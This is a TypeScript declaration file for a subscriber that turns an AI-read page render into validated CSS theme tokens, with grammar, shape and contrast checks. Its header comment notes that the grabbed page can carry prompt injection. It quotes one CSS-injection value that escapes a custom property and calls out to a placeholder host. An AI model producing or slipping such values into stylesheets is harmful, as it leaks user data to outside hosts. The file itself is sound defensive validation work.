/** * The interactive-theme seam (DES-artifact-editor-plugins §7.6 "Theme learning", EP-C4) — the * sibling of `edit-events.ts`, same subscriber shape, ledger and filter pattern. * * 1. interactive grabs a page (or the operator points at a local PDF/image) and emits * `wicked.interactive.theme.learned {document_id, render_path, format, url?}` (handlers.js). * 2. Crew answers with ONE governed `interactive-theme` run: one creator phase that reads the * render in place (nothing uploads) and writes a token JSON in interactive's `DEFAULT_THEME` * shape to a handoff output path (the handoff-by-file pattern). * 3. Crew validates the SHAPE, EVERY value's grammar (interactive's `theme-grammar.js`, ported * field for field) and the CONTRAST (text on background ≥ 4.5:1), and refuses honestly with * `status.posted {state:'error'}` when any check fails. Why the grammar (review S8): the * tokens are interpolated raw into CSS custom properties and applied at every later version, * and the creator phase read a grabbed third-party page — prompt-injection material. A value * like `red;}body{background:url(https://x/?…)` must never ride into a version. * 4. Valid tokens are written THROUGH interactive — `PUT /d/:doc/api/theme/learned {tokens, * apply: true}` (EP-I2) — which lands one re-themed version (`version.created {kind:'theme'}`). * Interactive stays the only writer of its files (§9.1); it re-checks the grammar at the reader. * * Replay dedup and the handoff directory ride the edit seam's ledger and `interactive-edits` root * (keys `:theme:` beside the edit leg's `:v`), so no new state-home entry is * introduced — the worker fence is unchanged. */ import type { CoreAdapter } from '../core/adapter.js'; import type { WorkflowDef } from '../core/types.js'; import type { InteractiveBridgePool } from './bridge-pool.js'; import { InteractiveHandoffLedger } from './ledger.js'; export declare const THEME_LEARNED = "wicked.interactive.theme.learned"; export declare const INTERACTIVE_THEME_BUS_FILTER = "wicked.interactive.theme.learned@wicked-interactive"; export declare const INTERACTIVE_THEME_WORKFLOW = "interactive-theme"; /** The token groups and keys of interactive's `DEFAULT_THEME` (theme.js) — the shape a run must write. */ export declare const THEME_SHAPE: { readonly colors: readonly ["background", "surface", "primary", "secondary", "accent", "text_primary", "text_secondary", "text_muted", "border", "success", "warning", "error"]; readonly fonts: readonly ["heading", "body", "mono"]; readonly sizes: readonly ["title", "subtitle", "heading", "subheading", "body", "caption", "small"]; readonly spacing: readonly ["margin", "gap_large", "gap_medium", "gap_small", "gap_xs"]; readonly layout: readonly ["viewport_width", "viewport_height", "content_width", "content_start_x", "content_start_y"]; readonly card: readonly ["background", "border_radius", "padding", "shadow"]; }; export declare const INTERACTIVE_THEME_WORKFLOW_DEF: WorkflowDef; export interface ThemeLearned { documentId: string; renderPath: string; format: 'pdf' | 'image'; url?: string; projectId?: string; /** The event's own timestamp: the dedupe key, so re-learning the same doc later is a new handoff. */ ts: string; } export declare function parseThemeLearned(eventType: string, payload: unknown): ThemeLearned | null; export declare function themeHandoffKey(documentId: string, ts: string): string; export declare function themeProblem(learned: ThemeLearned, handoffPath: string): string; export declare function isColor(v: unknown): boolean; export declare function isLength(v: unknown): boolean; export declare function isFontList(v: unknown): boolean; export declare function isShadow(v: unknown): boolean; export type ThemeCheck = { ok: true; } | { ok: false; reason: string; }; /** Shape + per-field grammar, the first failing field decides (interactive's `checkThemeTokens`). */ export declare function checkThemeTokens(tokens: unknown): ThemeCheck; /** * `[r, g, b]` in 0..255 for an OPAQUE hex, rgb()/rgba() or hsl()/hsla() colour; `null` when not * computable — `var()`, or any alpha below 1 (codex r1: a translucent text colour composites over * whatever is behind it, so its contrast cannot be known here and must not pass). */ export declare function parseColor(v: string): [number, number, number] | null; /** The WCAG contrast ratio of two colours (≥ 1), or `null` when either is not computable. */ export declare function contrastRatio(a: string, b: string): number | null; export declare const MIN_TEXT_CONTRAST = 4.5; /** Text on background must read: `colors.text_primary` over `colors.background` ≥ 4.5:1. */ export declare function checkThemeContrast(tokens: Record): ThemeCheck; /** Shape, grammar, then contrast. The first failure is the honest refusal. */ export declare function validateThemeTokens(tokens: unknown): ThemeCheck; /** Read the worker's output file. `null` tokens with the reason when it is missing or not JSON. */ export declare function collectThemeResult(outputPath: string): { tokens: unknown; } | { error: string; }; export interface LearnedThemeWrite { version: number | null; parent?: number | null; unchanged?: boolean; } export type PutLearnedTheme = (documentId: string, projectId: string | undefined, tokens: Record) => Promise; /** * The default writer: the doc's bridge (reuse-or-start, per docs root) ← `PUT /d/:doc/api/theme/learned * {tokens, apply: true}`. Interactive validates the grammar again (400), writes `learned.theme.json` * and lands one re-themed version of the head inside its FIFO. */ export declare function putLearnedThemeViaBridge(pool: Pick, resolveDocsRoot: (projectId: string | undefined) => string): PutLearnedTheme; export interface InteractiveThemeOptions { /** Spike 3: whether a document is a run's working document (kind `phase-report`): never answered by a run. */ isWorkingDoc?: (projectId: string | undefined, documentId: string) => boolean; dbPath?: string; pollIntervalMs?: number; heartbeatMs?: number; /** Shared with the edit seam (one file, one instance); default: the edit ledger path. */ ledger?: InteractiveHandoffLedger; ledgerPath?: string; /** Handoff root (default `/interactive-edits`, shared with the edit seam). */ editDir?: string; clisJson?: string; roster?: () => unknown[]; /** Writes the validated tokens through interactive. Required: without it the seam cannot land anything. */ putLearnedTheme: PutLearnedTheme; onRunFiled?: (runId: string, projectId: string) => void; log?: (message: string) => void; logError?: (message: string) => void; } export interface InteractiveThemeSubscription { stop(): Promise | void; ledger: InteractiveHandoffLedger; inFlightDocs(): string[]; } export declare function startInteractiveThemeSubscriber(adapter: CoreAdapter, opts: InteractiveThemeOptions): Promise; //# sourceMappingURL=theme-events.d.ts.map